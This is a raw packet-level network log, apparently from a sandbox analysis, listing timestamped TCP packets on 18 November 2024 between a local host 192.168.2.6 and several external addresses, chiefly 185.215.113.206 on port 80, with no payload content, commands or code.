Nov 18, 2024 00:27:54.162486076 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.162498951 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.162503004 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.162518024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.162528038 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.162533998 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.162549019 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.162556887 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.162564993 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.162576914 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.162580967 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.162605047 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.162630081 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.163392067 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.163407087 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.163420916 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.163434982 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.163441896 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.163450956 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.163465023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.163465977 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.163480043 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.163501978 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.163521051 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.183476925 CET	443	49979	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.183588982 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.183604002 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.183610916 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.183618069 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.183625937 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.183638096 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.183651924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.183666945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.183754921 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.183873892 CET	49979	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.183891058 CET	443	49979	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.184124947 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.184138060 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.184180975 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.184952021 CET	443	49979	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.185009956 CET	49979	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.185376883 CET	49979	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.185440063 CET	443	49979	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.185673952 CET	49979	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.185678959 CET	443	49979	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.187906981 CET	443	49980	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.188103914 CET	49980	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.188111067 CET	443	49980	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.189531088 CET	443	49980	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.189594984 CET	49980	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.189927101 CET	49980	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.189987898 CET	443	49980	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.190080881 CET	49980	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.190084934 CET	443	49980	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.196871042 CET	443	49977	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.197068930 CET	49977	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.197078943 CET	443	49977	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.198131084 CET	443	49977	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.198177099 CET	49977	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.198548079 CET	49977	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.198594093 CET	443	49977	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.199815989 CET	49977	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.199821949 CET	443	49977	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.212253094 CET	443	49976	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.212488890 CET	49976	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.212511063 CET	443	49976	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.213534117 CET	443	49976	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.213608027 CET	49976	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.213923931 CET	49976	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.213975906 CET	443	49976	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.214086056 CET	49976	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.214093924 CET	443	49976	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.217250109 CET	443	49978	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.217597961 CET	49978	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.217606068 CET	443	49978	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.218652010 CET	443	49978	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.218713045 CET	49978	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.219412088 CET	49978	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.219476938 CET	443	49978	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.219558001 CET	49978	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.219855070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.219867945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.219882011 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.219897032 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.219919920 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.219926119 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.219952106 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.219968081 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.219991922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.220005035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.220021009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.220033884 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.220050097 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.220061064 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.220149994 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.220165014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.220230103 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.255811930 CET	443	49974	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.255990028 CET	443	49974	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.256041050 CET	443	49974	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.256107092 CET	49974	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.256316900 CET	49974	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.256347895 CET	443	49974	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.256407022 CET	49974	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.256413937 CET	443	49974	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.257602930 CET	443	49975	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.257698059 CET	443	49975	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.257755041 CET	49975	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.257857084 CET	49975	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.257869005 CET	443	49975	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.257879972 CET	49975	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.257885933 CET	443	49975	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.262991905 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.263021946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.263036966 CET	49988	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.263053894 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.263062000 CET	443	49988	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.263083935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.263083935 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.263118029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.263149977 CET	49988	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.263170958 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.263170958 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.263360977 CET	443	49978	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.263562918 CET	49989	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.263598919 CET	443	49989	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.263643980 CET	49989	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.263912916 CET	49990	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.263923883 CET	443	49990	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.264147997 CET	49990	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.264503956 CET	49991	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.264524937 CET	443	49991	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.264568090 CET	49991	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.264913082 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.264951944 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.265012980 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.265407085 CET	49993	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.265429020 CET	443	49993	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.265548944 CET	49994	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.265556097 CET	443	49994	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.265563965 CET	49993	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.265609980 CET	49994	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.265870094 CET	49988	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.265882969 CET	443	49988	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.266177893 CET	49989	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.266200066 CET	443	49989	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.266671896 CET	49990	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.266694069 CET	443	49990	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.266769886 CET	49991	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.266788960 CET	443	49991	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.266844988 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.266864061 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.267008066 CET	49993	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:54.267018080 CET	443	49993	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:54.267349005 CET	49994	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.267359018 CET	443	49994	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.268703938 CET	49995	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.268731117 CET	443	49995	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.268891096 CET	49995	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.269166946 CET	49995	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.269182920 CET	443	49995	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.278320074 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.278353930 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.278404951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.278409958 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.278438091 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.278450012 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.278472900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.278508902 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.278510094 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.278527021 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.278544903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.278553963 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.278579950 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.278589010 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.278656006 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.278692007 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.278721094 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.278742075 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.278769970 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.278821945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.278855085 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.278888941 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.278903008 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.278923035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.278934956 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.278959990 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.278966904 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.279002905 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.279138088 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.279170990 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.279217958 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.279223919 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.279257059 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.279269934 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.279292107 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.279315948 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.279365063 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.279397964 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.279422045 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.279431105 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.279450893 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.279465914 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.279478073 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.279506922 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.279623032 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.279658079 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.279675007 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.279691935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.279695988 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.279725075 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.279756069 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.279756069 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.279757977 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.279818058 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.279839039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.279870033 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.279887915 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.279902935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.279913902 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.279938936 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.279969931 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.279972076 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.279989958 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.280009031 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.280020952 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.280136108 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.280179977 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.280215025 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.280227900 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.280249119 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.280253887 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.280291080 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.300584078 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.300633907 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.300662041 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.300668001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.300690889 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.300702095 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.300714970 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.300745010 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.300754070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.300784111 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.300816059 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.300827980 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.300905943 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.337114096 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.337187052 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.337222099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.337254047 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.337287903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.337318897 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.337320089 CET	443	49980	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.337361097 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.337393045 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.337400913 CET	443	49980	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.337416887 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.337420940 CET	49980	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.337425947 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.337476015 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.337479115 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.337507010 CET	49980	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.337510109 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.337524891 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.337543011 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.337554932 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.337585926 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.338922977 CET	49980	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.338933945 CET	443	49980	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.339860916 CET	49996	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.339893103 CET	443	49996	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.339967012 CET	49996	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.341555119 CET	49996	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.341571093 CET	443	49996	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.348187923 CET	443	49972	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.348244905 CET	443	49972	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.348433971 CET	49972	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.348455906 CET	443	49972	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.348623037 CET	443	49972	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.348679066 CET	49972	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.349366903 CET	443	49976	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.349426985 CET	49976	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.349456072 CET	443	49976	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.349519968 CET	443	49976	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.349561930 CET	49976	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.350081921 CET	49972	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.350092888 CET	443	49972	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.350548029 CET	49997	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.350565910 CET	443	49997	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.350621939 CET	49997	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.351089001 CET	49997	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.351095915 CET	443	49997	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.352195024 CET	49976	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.352206945 CET	443	49976	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.352242947 CET	49976	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.352263927 CET	49976	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.354499102 CET	443	49981	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.356439114 CET	49978	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.356447935 CET	443	49978	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.356462955 CET	49979	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.356491089 CET	49977	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.365808010 CET	49981	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.365843058 CET	443	49981	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.366358042 CET	49981	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:54.366369963 CET	443	49981	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:54.366904974 CET	443	49977	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.366930962 CET	443	49977	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.366981030 CET	443	49977	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.367005110 CET	49977	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.367043972 CET	49977	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.368891954 CET	49977	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:54.368912935 CET	443	49977	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:54.380690098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.380719900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.380753040 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.380759954 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.380795002 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.380819082 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.380846024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.380883932 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.395796061 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.395827055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.395859957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.395858049 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.395889997 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.395895958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.395903111 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.395927906 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.395977020 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.396039963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.396073103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.396085978 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.396107912 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.396114111 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.396148920 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.396158934 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.396193981 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.396223068 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:54.396235943 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:54.396260023 CET	80	49889	185.215.113.206	192.168.2.6
